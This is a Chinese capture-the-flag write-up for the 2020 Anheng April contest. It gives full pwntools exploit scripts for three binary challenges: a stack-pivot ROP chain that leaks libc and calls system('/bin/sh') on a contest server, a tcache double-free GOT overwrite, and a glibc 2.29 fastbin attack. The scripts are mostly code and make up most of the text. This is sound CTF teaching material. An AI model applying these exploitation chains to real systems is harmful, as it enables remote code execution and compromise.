2020安恒四月赛

April 26, 2020 CTF-Writeup 访问: 24 次

0x01

这道题做起来也是很难受,ROP的时候调用printf,程序会crash掉,想了许久,经过测试发现,让程序就只执行一次ROP的话,是可以的,所以我们用过栈溢出把栈迁移到bss段上,然后再把ROP链输入到bss段上,然后执行syetem("/bin/sh\x00")即可

exp:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './test'
# libc_name = 'libc.so.6'
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
ip = '183.129.189.60'
prot = '10061'
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

def debug():
    gdb.attach(r)
    # raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
p_rdi = 0x0000000000400823
p_rsi_r15 = 0x0000000000400821
main_addr =0x000000000400769
ru("how long is your name: ")
bss_addr = 0x000000000601150
read_func = 0x0000004006A7
ret = 0x000000000040055e
# debug()
payload = "A"*0x80+p64(bss_addr)+p64(p_rdi)+p64(0x000000000400875)+p64(p_rsi_r15)+p64(file.got['setbuf'])+p64(0)+p64(file.plt['printf'])
payload += p64(p_rdi)+p64(bss_addr)+p64(p_rsi_r15)+p64(0x200)+p64(0)+p64(read_func)+p64(0x000000000400767)
sl(str(len(payload)+1))

ru("and what's you name? ")
# debug()
sl(payload)

rud("hello A")
rud("hello ")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['setbuf']
li("libc_base",libc_base)
# li("libc.symbols['memset']",libc.symbols['setbuf'])
system_addr = libc.symbols['system']+libc_base
binsh_addr = libc_base + 0x00000000001b3e9a
one_gg = 0x4f322 + libc_base#0x4f322 0x10a38c
payload = p64(0)+p64(one_gg)+p64(binsh_addr)+p64(system_addr)
sl(payload)
ri()

0x02

堆题,只开了CanaryNX

[*] '/media/psf/Home/Downloads/anheng/sales_office/sales_office'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

题目存在UAF,但是比较棘手的是结构体的chunk第一个地址存的是另一个chunk块的地址,释放后会被修改成其他的地址或者是0,所以要精心的构造chunk,在tcachebin中利用double free来泄露got地址以及修改got地址

exp:

from pwn import *
import sys
context.log_level='debug'
debug = 1
file_name = './sales_office'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

file = ELF(file_name)

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def add(chunk_size,value):
    ru('choice:')
    sl('1')
    ru('Please input the size of your house:')
    sl(str(chunk_size))
    ru('please decorate your house:')
    sd(value)
def delete(index):
    ru('choice:')
    sl('4')
    ru('index:')
    sl(str(index))
def show(index):
    ru('choice:')
    sl('3')
    ru('index:\n')
    sl(str(index))
def debug():
    gdb.attach(r)
    # raw_input()

add(0x60,"a")
add(0x60,"a")
add(0x10,"a")
delete(0)
delete(0)
delete(1)
show(1)
ru("house:\n")
heap_addr = u64(rud("\x0a").ljust(8,"\x00"))-0x260
li("heap_addr",heap_addr)
heap_chunk_addr = 0x310+heap_addr
add(0x10,p64(heap_chunk_addr))
delete(0)
add(0x10,p64(heap_addr+0x260))
add(0x60,p64(file.got['free']))
add(0x60,p64(heap_addr+0x260))
add(0x60,"\x50")
show(7)
ru("house:\n")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['free']
li("libc_base",libc_base)
system_addr = libc_base + libc.symbols['system']
delete(0)
delete(2)
delete(1)
add(0x10,p64(heap_addr+0x310))
add(0x10,p64(heap_addr+0x310))
delete(0)
add(0x60,p64(file.got['free']))
add(0x60,"/bin/sh\x00")
add(0x60,p64(system_addr))
delete(11)
# debug()
ri()

0x03

这道题是上一道题的进阶题,把libc版本修改成2.29,总所周知,在glibc-2.29版本中,tcache中加入了一个新的检查机制key,来check是否存在double free,那么如果我们可以控制已经在tcache中的fd指针的话,那么就可以任意地址malloc了,虽然在tcache中存在检查机制,我们可以把chunk都转移到fastbin上,然后再进行fastbin attack,进行修改puts_got

exp:

from pwn import *
import sys
context.log_level='debug'
debug = 1
context.terminal = ['tmux', 'splitw', '-h']
file_name = './sales_office'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = ''
prot = ''
if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

file = ELF(file_name)

sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda  : r.interactive()
def add(chunk_size,value):
    ru('choice:')
    sl('1')
    ru('Please input the size of your house:')
    sl(str(chunk_size))
    ru('please decorate your house:')
    sd(value)
def delete(index):
    ru('choice:')
    sl('4')
    ru('index:')
    sl(str(index))
def show(index):
    ru('choice:')
    sl('3')
    ru('index:\n')
    sl(str(index))
def debug():
    gdb.attach(r)
    # raw_input()

add(0x10,"a")
add(0x10,"a")
add(0x20,"a")
add(0x10,"a")
add(0x10,"a")
delete(0)
delete(1)
delete(2)
add(0x10,p64(file.got['puts']))
show(1)
ru("house:\n")
libc_base = u64(r.recv(6)+"\x00\x00")-libc.symbols['puts']
li("libc_base",libc_base)
system_addr = libc_base + libc.symbols['system']
delete(4)
delete(3)
delete(5)
delete(1)
add(0x10,"/bin/sh\x00")
add(0x10,"/bin/sh\x00")
add(0x10,"/bin/sh\x00")
add(0x10,p64(file.got['puts']))
add(0x20,"/bin/sh\x00")

add(0x10,p64(system_addr))
# debug()
# show(7)

# ru('choice:')
sl('3')
ru("index:: not found")
sl("7")
ri()

添加新评论